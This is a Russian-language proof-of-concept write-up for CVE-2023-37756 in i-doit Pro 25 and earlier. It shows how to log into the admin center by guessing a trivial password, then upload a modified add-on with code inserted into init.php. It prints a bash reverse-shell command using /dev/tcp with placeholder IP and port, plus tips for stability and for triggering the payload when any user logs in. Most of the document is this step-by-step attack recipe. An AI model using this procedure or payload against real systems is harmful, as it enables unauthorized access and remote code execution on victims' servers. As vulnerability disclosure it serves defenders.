
Proof-of-concept для CVE-2023-37756: слабые требования к паролям в админ-центре i-doit Pro, позволяющие осуществлять подбор пароля (брутфорс) и загрузку вредоносных плагинов, что приводит к удаленному выполнению кода.
i-doit Pro 25 и ниже уязвимы для атаки, связанной со слабыми требованиями к паролю в admin-center, а также с загрузкой вредоносного плагина, что приводит к уязвимости удаленного выполнения кода (RCE). Эти уязвимости позволяют злоумышленнику легко подобрать пароль методом перебора или угадывания, чтобы получить доступ к admin-center и загрузить вредоносный плагин для удаленного выполнения кода.
Описание продукта: i-doit — это веб-ориентированная система с открытым исходным кодом для документирования IT и управления конфигурациями (CMDB), разработанная компанией synetics GmbH. i-doit Pro — коммерческая версия программного обеспечения, требующая платной лицензии. Она включает дополнительные функции, профессиональную поддержку, регулярные обновления и улучшения. Пользователям необходимо приобрести лицензию для использования i-doit Pro, стоимость варьируется в зависимости от количества пользователей и требуемых функций.
Описание уязвимости: Мы обнаружили, что в этом веб-приложении при создании учетной записи в admin-center отсутствуют строгие требования к паролю; владелец приложения может установить минимальную длину пароля в 1 символ, используя имя пользователя по умолчанию «admin». Это позволяет злоумышленнику легко подобрать пароль методом перебора или угадывания, чтобы получить доступ к admin-center и загрузить вредоносный плагин для удаленного выполнения кода.
Затронутая веб-страница: страница входа в admin-center + установка плагинов
Затронутые параметры и компонент: страница входа в admin-center + установка плагинов
Шаг 1: поскольку при создании учетной записи в admin-center не реализованы требования к паролю или его сложности, мы можем начать с перебора. Скриншот ниже показывает, что мы можем войти с именем пользователя «admin» и паролем «1».


Шаг 2: перейдите на вкладку «Add-on» и выберите «Upload»

Шаг 3: существуют некоторые требования, например, файл package.json должен существовать, и мы обнаружили, что цель реализовала асинхронную проверку всех классов и функций. Но мы можем загрузить подходящий плагин с их портала для клиентов и отредактировать/добавить код в файл init.php — это самый безопасный способ предотвратить сбой системы при срабатывании полезной нагрузки.
Примечание: обязательно поставьте & в конце строки, чтобы система не упала после срабатывания полезной нагрузки, и init.php — лучшее место для вставки полезной нагрузки.
Пример: exec ("/bin/bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1 &'");



Примечание: не забудьте заархивировать его обратно и загрузить.


Примечание: нажмите «Install», затем активируйте выбранное дополнение (Add-on).

Примечание: ваша полезная нагрузка сработает, когда кто-то войдет в систему — это может быть любой пользователь.
